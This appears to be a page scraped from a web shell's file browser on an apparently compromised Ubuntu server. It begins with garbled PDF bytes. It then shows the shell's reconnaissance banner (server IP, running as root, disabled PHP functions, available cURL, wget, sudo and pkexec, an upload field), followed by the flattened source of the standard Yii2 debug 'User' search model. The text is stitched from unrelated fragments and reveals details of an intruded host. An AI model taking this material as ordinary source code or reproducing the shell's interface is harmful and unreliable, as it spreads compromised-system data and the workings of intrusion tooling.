%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/water/vendor/yiisoft/yii2-debug/src/models/search/ |
Upload File : |
<?php /** * @link http://www.yiiframework.com/ * @copyright Copyright (c) 2008 Yii Software LLC * @license http://www.yiiframework.com/license/ */ namespace yii\debug\models\search; use yii\base\Model; use yii\data\ActiveDataProvider; use yii\db\ActiveRecord; /** * Search model for implementation of IdentityInterface * * @author Semen Dubina <yii2debug@sam002.net> * @since 2.0.10 */ class User extends Model { /** * @var Model implementation of IdentityInterface */ public $identityImplement = null; /** * {@inheritdoc} */ public function init() { if (\Yii::$app->user && \Yii::$app->user->identityClass) { $identityImplementation = new \Yii::$app->user->identityClass(); if ($identityImplementation instanceof Model) { $this->identityImplement = $identityImplementation; } } parent::init(); } /** * {@inheritdoc} */ public function __get($name) { return $this->identityImplement->__get($name); } /** * {@inheritdoc} */ public function __set($name, $value) { return $this->identityImplement->__set($name, $value); } /** * {@inheritdoc} */ public function rules() { return [[array_keys($this->identityImplement->getAttributes()), 'safe']]; } /** * {@inheritdoc} */ public function attributes() { return $this->identityImplement->attributes(); } /** * {@inheritdoc} * @throws \yii\base\InvalidConfigException */ public function search($params) { if ($this->identityImplement instanceof ActiveRecord) { return $this->searchActiveDataProvider($params); } return null; } /** * Search method for ActiveRecord * @param array $params the data array to load model. * @return ActiveDataProvider * @throws \yii\base\InvalidConfigException */ private function searchActiveDataProvider($params) { /** @var ActiveRecord $model */ $model = $this->identityImplement; $query = $model::find(); $dataProvider = new ActiveDataProvider([ 'query' => $query, ]); if (!($this->load($params) && $this->validate())) { return $dataProvider; } foreach ($model::getTableSchema()->columns as $attribute => $column) { if ($column->phpType === 'string') { $query->andFilterWhere(['like', $attribute, $model->getAttribute($attribute)]); } else { $query->andFilterWhere([$attribute => $model->getAttribute($attribute)]); } } return $dataProvider; } }